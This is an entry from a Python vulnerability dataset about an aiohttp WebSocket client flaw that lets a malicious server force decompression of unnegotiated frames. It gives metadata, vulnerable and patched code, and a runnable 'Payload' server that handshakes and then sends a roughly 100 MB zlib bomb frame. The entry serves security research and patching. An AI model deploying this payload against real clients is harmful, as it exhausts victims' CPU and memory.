CVE-2026-59881
AIOHTTP WebSocket client allows unsolicited frame decompression, leading to DoS.
- CVSS 6.9
- 20
- Input Validation and Sanitization
- Remote
AIOHTTP is an asynchronous HTTP client/server framework for asyncio and Python. Prior to 3.14.2, the WebSocket client accepts and decompresses frames with the RSV1 bit set even when the permessage-deflate extension was not negotiated, allowing a malicious server to cause unexpected CPU and memory consumption. This issue is fixed in version 3.14.2.
- CWE
- 20
- CVSS base score
- 6.9
- Published
- 2026-07-30
- OWASP
- A04 Insecure Design
- Orthogonal defect classification
- Checking
- Code defect classification
- Missing Check
- Category
- Input Validation and Sanitization
- Subcategory
- Resource Exhaustion
- Accessibility scope
- Remote
- Impact
- Denial of Service (DoS)
- Affected component
- AIOHTTP
- Fixed by upgrading
- Yes
Solution
Upgrade aiohttp to version 3.14.2 or later.
Vulnerable code sample
import asyncio
from typing import Tuple
from aiohttp.http_websocket import WSMsgType, WebSocketError
class WebSocketReader:
"""A simplified representation of aiohttp's WebSocketReader."""
def __init__(self, ws_protocol):
# In the real library, ws_protocol holds compression state.
self._ws_protocol = ws_protocol
async def _read_frame_header(self) -> Tuple[bool, int, int, int, int, bool, int]:
"""Simulates reading a frame header with the RSV1 bit set."""
fin, rsv1, rsv2, rsv3, opcode = True, 1, 0, 0, 1
has_mask, length = False, 128
return fin, rsv1, rsv2, rsv3, opcode, has_mask, length
async def _read_frame(self) -> Tuple[bool, int, bytes]:
"""Reads and processes a single websocket frame."""
fin, rsv1, rsv2, rsv3, opcode, _, length = await self._read_frame_header()
payload = b'\x00' * length
if rsv2 or rsv3:
raise WebSocketError(
WSMsgType.CLOSE, "Received frame with non-zero reserved bits"
)
# VULNERABLE: The RSV1 bit is processed even if compression was not negotiated.
if rsv1:
# This will attempt to decompress data, leading to resource usage.
payload = self._ws_protocol.decompress_frame(payload, fin)
return fin, opcode, payloadPatched code sample
import asyncio
from typing import Tuple
from aiohttp.http_websocket import WSMsgType, WebSocketError
class WebSocketReader:
"""A simplified representation of aiohttp's WebSocketReader."""
def __init__(self, ws_protocol):
# In the real library, ws_protocol holds compression state.
self._ws_protocol = ws_protocol
async def _read_frame_header(self) -> Tuple[bool, int, int, int, int, bool, int]:
"""Simulates reading a frame header with the RSV1 bit set."""
fin, rsv1, rsv2, rsv3, opcode = True, 1, 0, 0, 1
has_mask, length = False, 128
return fin, rsv1, rsv2, rsv3, opcode, has_mask, length
async def _read_frame(self) -> Tuple[bool, int, bytes]:
"""Reads and processes a single websocket frame."""
fin, rsv1, rsv2, rsv3, opcode, _, length = await self._read_frame_header()
payload = b'\x00' * length
# FIX: Reject frames with the RSV1 bit if compression is not enabled.
if rsv1 and not self._ws_protocol.compress:
raise WebSocketError(
WSMsgType.CLOSE,
"Received frame with rsv1 set while permessage-deflate is not enabled",
)
if rsv2 or rsv3:
raise WebSocketError(
WSMsgType.CLOSE, "Received frame with non-zero reserved bits"
)
if rsv1:
payload = self._ws_protocol.decompress_frame(payload, fin)
return fin, opcode, payloadPayload
import asyncio
import hashlib
import base64
import zlib
async def handle_client(reader, writer):
try:
request_data = await reader.read(4096)
headers = {
line.split(":", 1)[0].lower(): line.split(":", 1)[1].strip()
for line in request_data.decode("utf-8", "ignore").split("\r\n")[1:]
if ":" in line
}
client_key = headers.get("sec-websocket-key")
if not client_key:
return
accept_key = base64.b64encode(
hashlib.sha1(
client_key.encode() + b"258EAFA5-E914-47DA-95CA-C5AB0DC85B11"
).digest()
).decode()
response = (
"HTTP/1.1 101 Switching Protocols\r\n"
"Upgrade: websocket\r\n"
"Connection: Upgrade\r\n"
f"Sec-WebSocket-Accept: {accept_key}\r\n\r\n"
)
writer.write(response.encode())
await writer.drain()
bomb_payload = zlib.compress(b"\x00" * (100 * 1024 * 1024), -15)
frame_header = bytearray([0b11000010])
payload_len = len(bomb_payload)
if payload_len <= 125:
frame_header.append(payload_len)
elif payload_len <= 65535:
frame_header.append(126)
frame_header.extend(payload_len.to_bytes(2, "big"))
else:
frame_header.append(127)
frame_header.extend(payload_len.to_bytes(8, "big"))
writer.write(frame_header + bomb_payload)
await writer.drain()
except (ConnectionResetError, BrokenPipeError):
pass
finally:
if not writer.is_closing():
writer.close()
await writer.wait_closed()
async def main():
server = await asyncio.start_server(handle_client, "0.0.0.0", 8765)
async with server:
await server.serve_forever()
if __name__ == "__main__":
try:
asyncio.run(main())
except KeyboardInterrupt:
pass
Cite this entry
@misc{vaitp:cve202659881,
title = {{AIOHTTP WebSocket client allows unsolicited frame decompression, leading to DoS.}},
author = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
year = {2026},
note = {VAITP Python Vulnerability Dataset, entry CVE-2026-59881},
howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-59881/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.
The supreme art of war is to subdue the enemy without fighting.
Sun Tzu – “The Art of War”
:: Shaping the future through research and ingenuity ::
